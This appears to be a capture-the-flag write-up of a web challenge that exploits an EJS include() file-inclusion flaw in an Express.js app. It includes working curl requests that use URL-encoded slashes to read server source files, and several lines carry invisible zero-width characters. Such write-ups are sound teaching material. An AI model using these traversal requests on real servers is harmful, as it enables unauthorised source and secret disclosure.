← Back to Writeups
CUSTOMMediumWeb

Sky

XESXOR9/2/20263 min read
#web#custom#medium#ejs_include_lfi#extension_aware_path_filter_by#source_code_disclosure#url_encoded_slash_bypass

Sky

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ejs_include_lfi, extension_aware_path_filter_bypass, source_code_disclosure, url_encoded_slash_bypass

Summary

Walkthrough of the CUSTOM Web Sky. Task: Express.js + EJS 2.7.2 app passes req.params.page straight into EJS include(), an LFI+SSTI sink. Solution: URL-encode slashes (%2f) to bypass Express route and nginx ..%2f filtering, read absolu

Description

Look at the sky: include.ssti.2537ly.space

An Express.js site (EJS 2.7.2 behind nginx 1.31.0) lists two pages, sky and clouds, at /page/sky and /page/clouds. The goal is to recover the flag from the application.

Analysis

The vulnerable view /usr/src/app/views/page.ejs (line 12) renders:

ejs
<pre><%- include(page) %></pre>

where page is taken directly from req.params.page in /usr/src/app/app.js:

js
app.get("/page/:page", (req, res) => {
  if (req.params.page !== "page") res.render("page", { page: req.params.page });
  else res.send("nope");
});

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The user fully controls the path passed to EJS include(). EJS include() resolves the path and parses/compiles/renders the included file as an EJS template — confirmed by including home.ejs (pages is not defined) and ejs.js (Could not find matching close tag for <%=). This is both LFI and SSTI: included content is executed as a template.

LFI primitive and bypasses

  • The Express route /page/:page rejects literal extra slashes (Cannot GET /page//...).
  • nginx returns 400 on raw ..%2f traversal sequences.
  • But URL-encoding the slashes (%2f) inside the single :page segment works, letting EJS resolve an absolute filesystem path.
  • EJS 2.7.2 resolveInclude appends .ejs only when path.extname(name) is empty. So files that already have an extension (.js, .json) are read verbatim, while extension-less targets (/etc/passwd, /proc/self/environ) get .ejs appended and fail. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A verbose EJS error leaks the absolute app root:

bash
curl -sk "https://include.ssti.2537ly.space/page/doesnotexist123"
# -> /usr/src/app/views/page.ejs:12 , include(page) line, EJS stack, node_modules path

Solution

bash
#!/usr/bin/env bash
URL="https://include.ssti.2537ly.space"

decode() {
  curl -sk "$1" | python3 -c "import sys,html,re;d=sys.stdin.read();m=re.search(r'<pre>(.*?)</pre>',d,re.S);print(html.unescape(m.group(1)) if m else d)"
}

# 1. Leak app root via verbose EJS error
curl -sk "$URL/page/doesnotexist123"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. Confirm EJS version (file already has .json extension -> no .ejs append)
curl -sk "$URL/page/%2fusr%2fsrc%2fapp%2fnode_modules%2fejs%2fpackage.json"   # -> 2.7.2

# 3. Read application source via the LFI; flag is hardcoded here
decode "$URL/page/%2fusr%2fsrc%2fapp%2fapp.js"
# -> const FLAG = process.env.FLAG || "spbctf{REDACTED}";

The FLAG variable is dead code — never used in any route — confirming the intended path is source-code disclosure via the LFI, not runtime RCE.

Why full RCE was unnecessary

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reading process.env.FLAG at runtime would require an attacker-controlled file containing <%= process.env.FLAG %> with a non-.ejs extension to bypass the auto-append. No upload, writable .ejs, or log file existed (pino logs go to stdout). The flag was simply the hardcoded default value in the source, recovered through the LFI source read. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering ejs_include_lfi, extension_aware_path_filter_bypass, source_code_disclosure, url_encoded_slash_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-26 • CUSTOM • Sky • Difficulty: Medium